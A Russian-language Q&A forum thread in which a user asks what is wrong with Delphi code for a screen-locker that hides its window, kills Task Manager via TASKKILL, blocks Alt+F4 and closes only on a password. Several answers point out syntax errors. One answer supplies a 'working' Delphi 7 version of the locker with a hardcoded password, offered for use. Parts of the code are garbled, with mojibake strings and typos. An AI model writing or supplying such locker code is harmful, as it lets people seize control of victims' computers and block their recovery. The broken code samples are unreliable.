Подскажите пожалуйста где в этом коде ошибка.

Question

unit Unit1; 
 
interface 
 
uses 
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
 Dialogs, ShellAPI. mmsyster; 
 
type 
 TForm1 = class(TForm) 
 procedure FormCreate(Sender: TObject); 
 private 
 { Private declarations } 
 public 
 { Public declarations } 
 end; 
 
var 
 Form1: TForm1; 
 
implementation 
 
{$R *.dfm} 
 
procedure TForm1.FormCreate(Sender: TObject); 
begin 
 ShowWindow(Application.Handle, SW_HIDE); 
 if FindWindow (.0 'Диспетчер задач Windows') = 0 then 
 WinExec(PANsiChar('TASKKILL /F /IM taskmgr.exe'), SW_HIDE); 
end; 
 
procedure TForm1.Timer1Timer(Sender: TObject); 
begin 
if ((ssAlt in Shift) and (Key = VK_F4)) then 
key =0. 
end; 
 
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; 
 Shift: TShiftState); 
begin 
keyPreviv: = true: 
end; 
 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
 If Edit1.Text = '1' then 
 close 
 else PlaySound('Zvuck.vav'. SND_SYNC. SND_LOOP); 
 ShovMessage('Ошибка кода', ;)'); 
end; 
 
end. 
 
end; 
 
end.

Нюся Крючкова · Accepted Answer

Методы Button1Click, FormKeyDown и Timer1Timer не являются методами класса TForm1.

Александр · Answer

21ая сторока 
Убрать точку перед нулем

Альберт · Answer

keyPreviv: = true: 
 
шапочно знакома с vba. но смущает двоеточие в этой строке.

Mariya Lubimaya · Answer

ВОТ РАБОЧИЙ КОД ДЛЯ ДЕЛФИ 7 НАВЕСТЬ ЭКРАН
unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, ExtCtrls, StdCtrls;

type
 TForm1 = class(TForm)
 Timer1: TTimer;
 Label1: TLabel;
 Label2: TLabel;
 Edit1: TEdit;
 Button1: TButton;
 procedure FormShow(Sender: TObject);
 procedure Timer1Timer(Sender: TObject);
 procedure Button1Click(Sender: TObject);
 procedure FormCreate(Sender: TObject);
 procedure FormKeyDown(Sender: TObject; var Key: Word;
 Shift: TShiftState);
 private
 { Private declarations }
 public
 { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormShow(Sender: TObject);
begin
ShowWindow(Application. Handle, SW_HIDE);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
 if FindWindow(0, 'Äèñïåò÷åð çàäà÷ Windows') <> 0 then
 WinExec('taskkill /F /IM taskagr exe', SW_HIDE);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
If Edit1.Text = 'Ïóñòîâàëîâ454' then
close
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
keyPreview := true;
end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
 Shift: TShiftState);
begin
if ((ssAlt in Shift) and (Key = VK_F4)) then
key :=0;
end;

end.